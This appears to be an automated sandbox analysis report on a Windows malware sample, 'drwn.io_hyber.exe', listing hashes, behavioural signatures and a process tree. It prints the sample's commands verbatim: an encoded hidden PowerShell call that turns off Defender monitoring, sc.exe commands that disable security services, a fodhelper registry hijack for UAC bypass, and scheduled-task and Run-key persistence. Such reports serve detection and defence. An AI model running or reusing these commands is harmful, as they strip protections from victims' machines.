Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
09/05/2026, 09:00
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
drwn.io_hyber.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
37 signatures
150 seconds
Behavioral task
behavioral2
Sample
drwn.io_hyber.exe
Resource
win11-20260130-en
windows11-21h2-x64
35 signatures
150 seconds
General
- Target drwn.io_hyber.exe
- Size 49KB
- Sample260509-kysrmsg13q
- SHA256 e5426c8c7651aef7c4d65aaeb958e79080c0982250587c8959a5f71b23c70a34
- MD5 fa15d39619ce3428fc430cf9890e2a4b
- SHA1 e3e6fe6614c671ca61ce78ad6719b24e7ea19603
- SHA512 6427e8c2c99dc9328e8c77ee696c255ec6e65423c66d43c5fe6829a9c220664dd0a47c5485d383d713801d88709f8ec451c8eb6b67f5fa2d3ca35d2d6f73654d
- SSDEEP 768:crVZZ6zs0hpTbkZn+qf/NKPzfX/fmZ4C:KZ6Hh1bkpXfGP/fmZ4C
- TLSH T19133F74937ED4526E1BF8EBE89B291119731F4539C23D79E0AD8459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4424-0-0x0000000000290000-0x00000000002A2000-memory.dmp disable_win_def behavioral2/files/0x001500000002b7cf-2271.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" drwn.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3248 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" drwn.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts drwn.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2496 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf drwn.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf drwn.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf drwn.io_hyber.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\drwn.io_hyber.exe" drwn.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\drwn.io_hyber.exe" drwn.io_hyber.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe drwn.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe drwn.io_hyber.exe File created C:\Windows\system32\svchost.exe drwn.io_hyber.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3060 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" drwn.io_hyber.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2608 sc.exe 3600 sc.exe 1236 sc.exe 3552 sc.exe 1640 sc.exe 4176 sc.exe 1352 sc.exe 3564 sc.exe 2436 sc.exe 3720 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1240 NETSTAT.EXE 580 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2044 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2976 vssadmin.exe 4680 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Control Panel\Desktop\WallpaperStyle = "2" drwn.io_hyber.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "79" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open drwn.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell drwn.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open drwn.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\.pdf\ = "PDFBotnet" drwn.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet drwn.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\drwn.io_hyber.exe\" \"%1\"" drwn.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command drwn.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command\DelegateExecute drwn.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command drwn.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open drwn.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings drwn.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell drwn.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command drwn.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings drwn.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\drwn.io_hyber.exe" drwn.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell drwn.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4508 schtasks.exe 4972 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3248 powershell.exe 3248 powershell.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe 4424 drwn.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1752 LogonUI.exe Token: SeCreatePagefilePrivilege 1752 LogonUI.exe Token: SeDebugPrivilege 4424 drwn.io_hyber.exe Token: SeDebugPrivilege 3248 powershell.exe Token: SeIncBasePriorityPrivilege 4424 drwn.io_hyber.exe Token: SeDebugPrivilege 1240 NETSTAT.EXE Token: SeDebugPrivilege 2440 whoami.exe Token: SeDebugPrivilege 3060 tasklist.exe Token: SeBackupPrivilege 1616 vssvc.exe Token: SeRestorePrivilege 1616 vssvc.exe Token: SeAuditPrivilege 1616 vssvc.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe Token: SeSecurityPrivilege 1172 WMIC.exe Token: SeTakeOwnershipPrivilege 1172 WMIC.exe Token: SeLoadDriverPrivilege 1172 WMIC.exe Token: SeSystemProfilePrivilege 1172 WMIC.exe Token: SeSystemtimePrivilege 1172 WMIC.exe Token: SeProfSingleProcessPrivilege 1172 WMIC.exe Token: SeIncBasePriorityPrivilege 1172 WMIC.exe Token: SeCreatePagefilePrivilege 1172 WMIC.exe Token: SeBackupPrivilege 1172 WMIC.exe Token: SeRestorePrivilege 1172 WMIC.exe Token: SeShutdownPrivilege 1172 WMIC.exe Token: SeDebugPrivilege 1172 WMIC.exe Token: SeSystemEnvironmentPrivilege 1172 WMIC.exe Token: SeRemoteShutdownPrivilege 1172 WMIC.exe Token: SeUndockPrivilege 1172 WMIC.exe Token: SeManageVolumePrivilege 1172 WMIC.exe Token: 33 1172 WMIC.exe Token: 34 1172 WMIC.exe Token: 35 1172 WMIC.exe Token: 36 1172 WMIC.exe Token: SeIncreaseQuotaPrivilege 328 WMIC.exe Token: SeSecurityPrivilege 328 WMIC.exe Token: SeTakeOwnershipPrivilege 328 WMIC.exe Token: SeLoadDriverPrivilege 328 WMIC.exe Token: SeSystemProfilePrivilege 328 WMIC.exe Token: SeSystemtimePrivilege 328 WMIC.exe Token: SeProfSingleProcessPrivilege 328 WMIC.exe Token: SeIncBasePriorityPrivilege 328 WMIC.exe Token: SeCreatePagefilePrivilege 328 WMIC.exe Token: SeBackupPrivilege 328 WMIC.exe Token: SeRestorePrivilege 328 WMIC.exe Token: SeShutdownPrivilege 328 WMIC.exe Token: SeDebugPrivilege 328 WMIC.exe Token: SeSystemEnvironmentPrivilege 328 WMIC.exe Token: SeRemoteShutdownPrivilege 328 WMIC.exe Token: SeUndockPrivilege 328 WMIC.exe Token: SeManageVolumePrivilege 328 WMIC.exe Token: 33 328 WMIC.exe Token: 34 328 WMIC.exe Token: 35 328 WMIC.exe Token: 36 328 WMIC.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe Token: SeSecurityPrivilege 1172 WMIC.exe Token: SeTakeOwnershipPrivilege 1172 WMIC.exe Token: SeLoadDriverPrivilege 1172 WMIC.exe Token: SeSystemProfilePrivilege 1172 WMIC.exe Token: SeSystemtimePrivilege 1172 WMIC.exe Token: SeProfSingleProcessPrivilege 1172 WMIC.exe Token: SeIncBasePriorityPrivilege 1172 WMIC.exe Token: SeCreatePagefilePrivilege 1172 WMIC.exe Token: SeBackupPrivilege 1172 WMIC.exe Token: SeRestorePrivilege 1172 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4424 drwn.io_hyber.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1752 LogonUI.exe 4424 drwn.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4424 wrote to memory of 3248 4424 drwn.io_hyber.exe 80 PID 4424 wrote to memory of 4176 4424 drwn.io_hyber.exe 82 PID 4424 wrote to memory of 1352 4424 drwn.io_hyber.exe 84 PID 4424 wrote to memory of 2608 4424 drwn.io_hyber.exe 86 PID 4424 wrote to memory of 3564 4424 drwn.io_hyber.exe 88 PID 4424 wrote to memory of 3600 4424 drwn.io_hyber.exe 90 PID 4424 wrote to memory of 2436 4424 drwn.io_hyber.exe 92 PID 4424 wrote to memory of 1236 4424 drwn.io_hyber.exe 94 PID 4424 wrote to memory of 3552 4424 drwn.io_hyber.exe 96 PID 4424 wrote to memory of 1184 4424 drwn.io_hyber.exe 98 PID 1184 wrote to memory of 580 1184 fodhelper.exe 129 PID 4424 wrote to memory of 1748 4424 drwn.io_hyber.exe 101 PID 4424 wrote to memory of 4508 4424 drwn.io_hyber.exe 102 PID 4424 wrote to memory of 1676 4424 drwn.io_hyber.exe 107 PID 4424 wrote to memory of 2152 4424 drwn.io_hyber.exe 109 PID 4424 wrote to memory of 272 4424 drwn.io_hyber.exe 110 PID 4424 wrote to memory of 1284 4424 drwn.io_hyber.exe 111 PID 4424 wrote to memory of 104 4424 drwn.io_hyber.exe 112 PID 4424 wrote to memory of 3780 4424 drwn.io_hyber.exe 113 PID 4424 wrote to memory of 1032 4424 drwn.io_hyber.exe 114 PID 4424 wrote to memory of 4972 4424 drwn.io_hyber.exe 115 PID 4424 wrote to memory of 2476 4424 drwn.io_hyber.exe 123 PID 1676 wrote to memory of 2976 1676 cmd.exe 124 PID 2152 wrote to memory of 2044 2152 cmd.exe 125 PID 1032 wrote to memory of 1240 1032 cmd.exe 126 PID 4424 wrote to memory of 2408 4424 drwn.io_hyber.exe 127 PID 1284 wrote to memory of 2440 1284 cmd.exe 128 PID 3780 wrote to memory of 580 3780 cmd.exe 129 PID 104 wrote to memory of 4536 104 cmd.exe 130 PID 272 wrote to memory of 3060 272 cmd.exe 131 PID 4536 wrote to memory of 2516 4536 net.exe 132 PID 4424 wrote to memory of 4680 4424 drwn.io_hyber.exe 135 PID 4424 wrote to memory of 1172 4424 drwn.io_hyber.exe 137 PID 4424 wrote to memory of 936 4424 drwn.io_hyber.exe 138 PID 4424 wrote to memory of 2496 4424 drwn.io_hyber.exe 141 PID 4424 wrote to memory of 1640 4424 drwn.io_hyber.exe 143 PID 4424 wrote to memory of 3720 4424 drwn.io_hyber.exe 145 PID 936 wrote to memory of 3892 936 net.exe 147 PID 1676 wrote to memory of 328 1676 cmd.exe 148 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3248
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4176
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1352
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2608
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3564
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3600
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2436
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1236
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3552
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe"3⤵PID:580
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1748
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\drwn.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4508
